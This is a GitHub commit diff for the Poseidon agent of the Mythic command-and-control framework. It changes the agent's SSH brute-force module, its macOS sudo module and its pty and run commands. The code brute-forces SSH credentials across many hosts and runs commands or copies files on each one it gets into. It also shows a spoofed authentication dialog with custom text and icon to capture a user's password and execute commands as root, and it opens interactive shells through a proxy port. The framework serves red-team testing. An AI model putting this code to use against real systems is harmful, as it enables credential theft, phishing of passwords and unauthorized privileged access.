Skip to content

Commit

Permalink
bug fixes and QoL updates to sshauth, ps, sudo, pty, run
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Aug 5, 2024
1 parent 2cea2ec commit 48d44e7
Show file tree
Hide file tree
Showing 12 changed files with 161 additions and 80 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
package functions

/*
#include <unistd.h>;
#include <unistd.h>
int UpdateEUID();
int UpdateEUID(){
uid_t euid = geteuid();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -503,7 +503,7 @@ - (BOOL)_requestProcessArgumentsAndEnvironment
i++;
}
const char *arg = (const char *)(arguments+i);
if (strlen(arg) > 0) {
if (arg != nil && strlen(arg) > 0) {
if (counter < argc) {
[tmp_argv addObject: [NSString stringWithUTF8String: arg]];

Expand Down
53 changes: 33 additions & 20 deletions Payload_Type/poseidon/poseidon/agent_code/sshauth/sshauth.go
Original file line number Diff line number Diff line change
Expand Up @@ -60,20 +60,25 @@ type SSHResult struct {
}

// SSH Functions
func PublicKeyFile(file string) ssh.AuthMethod {
func PublicKeyFile(file string) (ssh.AuthMethod, error) {
buffer, err := ioutil.ReadFile(file)
if err != nil {
return nil
return nil, err
}

key, err := ssh.ParsePrivateKey(buffer)
if err != nil {
return nil
return nil, err
}
return ssh.PublicKeys(key)
return ssh.PublicKeys(key), nil
}

func SSHLogin(host string, port int, cred Credential, debug bool, command string, source string, destination string) {
res := SSHResult{
Host: host,
Username: cred.Username,
Success: true,
}
var sshConfig *ssh.ClientConfig
if cred.PrivateKey == "" {
sshConfig = &ssh.ClientConfig{
Expand All @@ -83,18 +88,22 @@ func SSHLogin(host string, port int, cred Credential, debug bool, command string
Auth: []ssh.AuthMethod{ssh.Password(cred.Password)},
}
} else {
sshAuthMethodPrivateKey, err := PublicKeyFile(cred.PrivateKey)
if err != nil {
res.Success = false
res.Status = err.Error()
sshResultChan <- res
return
}
sshConfig = &ssh.ClientConfig{
User: cred.Username,
Timeout: 500 * time.Millisecond,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Auth: []ssh.AuthMethod{PublicKeyFile(cred.PrivateKey)},
Auth: []ssh.AuthMethod{sshAuthMethodPrivateKey},
}
}
// log.Println("Dialing:", host)
res := SSHResult{
Host: host,
Username: cred.Username,
}

if cred.PrivateKey == "" {
res.Secret = cred.Password
// successStr = fmt.Sprintf("[SSH] Hostname: %s\tUsername: %s\tPassword: %s", host, cred.Username, cred.Password)
Expand All @@ -110,6 +119,7 @@ func SSHLogin(host string, port int, cred Credential, debug bool, command string
fmt.Println(errStr)
}
res.Success = false
res.Status = err.Error()
sshResultChan <- res
return
}
Expand All @@ -124,6 +134,8 @@ func SSHLogin(host string, port int, cred Credential, debug bool, command string
if source != "" && destination != "" {
err = scp.CopyPath(source, destination, session)
if err != nil {
res.Success = false
res.Status = err.Error()
res.CopyStatus = "Failed to copy: " + err.Error()
} else {
res.CopyStatus = "Successfully copied"
Expand All @@ -145,14 +157,16 @@ func SSHLogin(host string, port int, cred Credential, debug bool, command string
}
output, err := session.Output(command)
if err != nil {

res.Success = false
res.Status = err.Error()
} else {
res.Output = string(output)
}
res.Output = string(output)

} else {
res.Output = ""
}
//session.Close()
res.Success = true
sshResultChan <- res
}

Expand All @@ -163,9 +177,9 @@ func (auth *SSHAuthenticator) Brute(port int, creds []Credential, debug bool, co
auth.lock.Acquire(context.TODO(), 1)
wg.Add(1)
go func(port int, cred Credential, debug bool, command string, source string, destination string) {
defer auth.lock.Release(1)
defer wg.Done()
SSHLogin(auth.host, port, cred, debug, command, source, destination)
wg.Done()
auth.lock.Release(1)
}(port, creds[i], debug, command, source, destination)
}
wg.Wait()
Expand All @@ -182,16 +196,15 @@ func SSHBruteHost(host string, port int, creds []Credential, debug bool, command

func SSHBruteForce(hosts []string, port int, creds []Credential, debug bool, command string, source string, destination string) []SSHResult {
for i := 0; i < len(hosts); i++ {
go func(host string, port int, creds []Credential, debug bool, command string, source string, destination string) {
SSHBruteHost(host, port, creds, debug, command, source, destination)
}(hosts[i], port, creds, debug, command, source, destination)
go SSHBruteHost(hosts[i], port, creds, debug, command, source, destination)
}
var successfulHosts []SSHResult
for i := 0; i < len(hosts); i++ {
res := <-sshResultChan
if res.Success {
successfulHosts = append(successfulHosts, res)
}
//if res.Success {
// successfulHosts = append(successfulHosts, res)
//}
successfulHosts = append(successfulHosts, res)
}
return successfulHosts
}
Expand Down
11 changes: 6 additions & 5 deletions Payload_Type/poseidon/poseidon/agent_code/sudo/sudo.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,12 @@ import (
)

type Arguments struct {
Username string `json:"username"`
Password string `json:"password"`
PromptText string `json:"prompt_text"`
PromptIconPath string `json:"prompt_icon_path"`
Command string `json:"command"`
Username string `json:"username"`
Password string `json:"password"`
Args []string `json:"args"`
PromptText string `json:"prompt_text"`
PromptIconPath string `json:"prompt_icon_path"`
Command string `json:"command"`
}

func Run(task structs.Task) {
Expand Down
16 changes: 15 additions & 1 deletion Payload_Type/poseidon/poseidon/agent_code/sudo/sudo_darwin.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,8 +28,22 @@ func sudoWithPromptOption(task structs.Task, args Arguments) {
defer C.free(unsafe.Pointer(cPromptIconPath))
cCommand := C.CString(args.Command)
defer C.free(unsafe.Pointer(cCommand))
cArgs := make([]*C.char, len(args.Args)+1)
for i := range cArgs {
cArgs[i] = nil
}
//cArgs[0] = C.CString(args.Command)
for i, arg := range args.Args {
cArgs[i] = C.CString(arg)
}
cArgv := (**C.char)(unsafe.Pointer(&cArgs[0]))
for i := range cArgs {
if cArgs[i] != nil {
defer C.free(unsafe.Pointer(cArgs[i]))
}
}
cFD := C.int(0)
contents := C.sudo_poseidon(cUsername, cPassword, cPromptText, cPromptIconPath, cCommand, &cFD)
contents := C.sudo_poseidon(cUsername, cPassword, cPromptText, cPromptIconPath, cCommand, cArgv, &cFD)
fd := int(cFD)
if fd > 0 {
newFD := os.NewFile(uintptr(cFD), "pipe")
Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, int* fd);
extern const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, char**args, int* fd);
4 changes: 2 additions & 2 deletions Payload_Type/poseidon/poseidon/agent_code/sudo/sudo_darwin.m
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#import "sudo_darwin.h"


const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, int* fd){
const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, char** args, int* fd){
AuthorizationRef authRef = 0;
OSStatus status = 0;
char* rightName = "allow";
Expand Down Expand Up @@ -48,7 +48,7 @@
}
return [[[NSString alloc] initWithFormat:@"Error: %d. Cannot copy authorization reference.", status] UTF8String];
}
char *args[] = {NULL};
//char *args[] = {NULL};
FILE *pipe = NULL;

status = AuthorizationExecuteWithPrivileges(authRef, command, kAuthorizationFlagDefaults, args, &pipe);
Expand Down
53 changes: 38 additions & 15 deletions Payload_Type/poseidon/poseidon/agentfunctions/pty.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,19 @@ var pty = agentstructs.Command{
Description: "What program to spawn with a PTY",
DefaultValue: "/bin/bash",
},
{
Name: "open_port",
CLIName: "openPort",
ModalDisplayName: "Open Port",
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN,
Description: "Whether to open a local port for additional PTY access",
DefaultValue: false,
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: false,
},
},
},
},
TaskCompletionFunctions: map[string]agentstructs.PTTaskCompletionFunction{
"close_ports": func(taskData *agentstructs.PTTaskMessageAllData, subtaskData *agentstructs.PTTaskMessageAllData, subtaskName *agentstructs.SubtaskGroupName) agentstructs.PTTaskCompletionFunctionMessageResponse {
Expand Down Expand Up @@ -71,32 +84,42 @@ func ptyCreateTasking(taskData *agentstructs.PTTaskMessageAllData) agentstructs.
response.Success = false
return response
}
if _, err := mythicrpc.SendMythicRPCArtifactCreate(mythicrpc.MythicRPCArtifactCreateMessage{
_, err = mythicrpc.SendMythicRPCArtifactCreate(mythicrpc.MythicRPCArtifactCreateMessage{
BaseArtifactType: "ProcessCreate",
ArtifactMessage: programPath,
TaskID: taskData.Task.ID,
}); err != nil {
})
if err != nil {
logging.LogError(err, "Failed to send mythicrpc artifact create")
}
if socksResponse, err := mythicrpc.SendMythicRPCProxyStart(mythicrpc.MythicRPCProxyStartMessage{
PortType: rabbitmq.CALLBACK_PORT_TYPE_INTERACTIVE,
LocalPort: 0,
TaskID: taskData.Task.ID,
}); err != nil {
logging.LogError(err, "Failed to start socks")
openPort, err := taskData.Args.GetBooleanArg("open_port")
if err != nil {
response.Error = err.Error()
response.Success = false
return response
} else if !socksResponse.Success {
response.Error = socksResponse.Error
response.Success = false
return response
} else {
}
if openPort {
socksResponse, err := mythicrpc.SendMythicRPCProxyStart(mythicrpc.MythicRPCProxyStartMessage{
PortType: rabbitmq.CALLBACK_PORT_TYPE_INTERACTIVE,
LocalPort: 0,
TaskID: taskData.Task.ID,
})
if err != nil {
logging.LogError(err, "Failed to start socks")
response.Error = err.Error()
response.Success = false
return response
}
if !socksResponse.Success {
response.Error = socksResponse.Error
response.Success = false
return response
}
stdout := fmt.Sprintf("Opened port: %d\n", socksResponse.LocalPort)
response.Stdout = &stdout
completionName := "close_ports"
response.CompletionFunctionName = &completionName
response.DisplayParams = &programPath
return response
}
response.DisplayParams = &programPath
return response
}
16 changes: 15 additions & 1 deletion Payload_Type/poseidon/poseidon/agentfunctions/run.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,9 @@ package agentfunctions

import (
"errors"
"fmt"
"github.com/MythicMeta/MythicContainer/logging"
"strings"

agentstructs "github.com/MythicMeta/MythicContainer/agent_structs"
)
Expand Down Expand Up @@ -64,14 +66,26 @@ func init() {
Success: true,
TaskID: taskData.Task.ID,
}
if path, err := taskData.Args.GetStringArg("path"); err != nil {
path, err := taskData.Args.GetStringArg("path")
if err != nil {
logging.LogError(err, "Failed to get path argument")
response.Success = false
response.Error = err.Error()
return response
}
runArgs, err := taskData.Args.GetArrayArg("args")
if err != nil {
response.Success = false
response.Error = err.Error()
return response
}
if len(runArgs) > 0 {
displayParams := fmt.Sprintf("%s %s", path, strings.Join(runArgs, " "))
response.DisplayParams = &displayParams
} else {
response.DisplayParams = &path
}

return response
},
TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error {
Expand Down
17 changes: 15 additions & 2 deletions Payload_Type/poseidon/poseidon/agentfunctions/sudo.go
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,19 @@ func init() {
},
Description: "Command to execute with privileges",
},
{
Name: "args",
ModalDisplayName: "Args",
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_ARRAY,
Description: "Any args you want to pass to the program specified by command",
DefaultValue: []string{},
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: false,
UIModalPosition: 4,
},
},
},
{
Name: "prompt_text",
ModalDisplayName: "Prompt Text",
Expand All @@ -65,7 +78,7 @@ func init() {
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: false,
UIModalPosition: 4,
UIModalPosition: 5,
},
},
Description: "Text to display to the user when prompting to execute as root",
Expand All @@ -78,7 +91,7 @@ func init() {
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: false,
UIModalPosition: 5,
UIModalPosition: 6,
},
},
Description: "Path to the icon to use as part of a popup dialog asking the user to authenticate",
Expand Down
Loading

0 comments on commit 48d44e7

Please sign in to comment.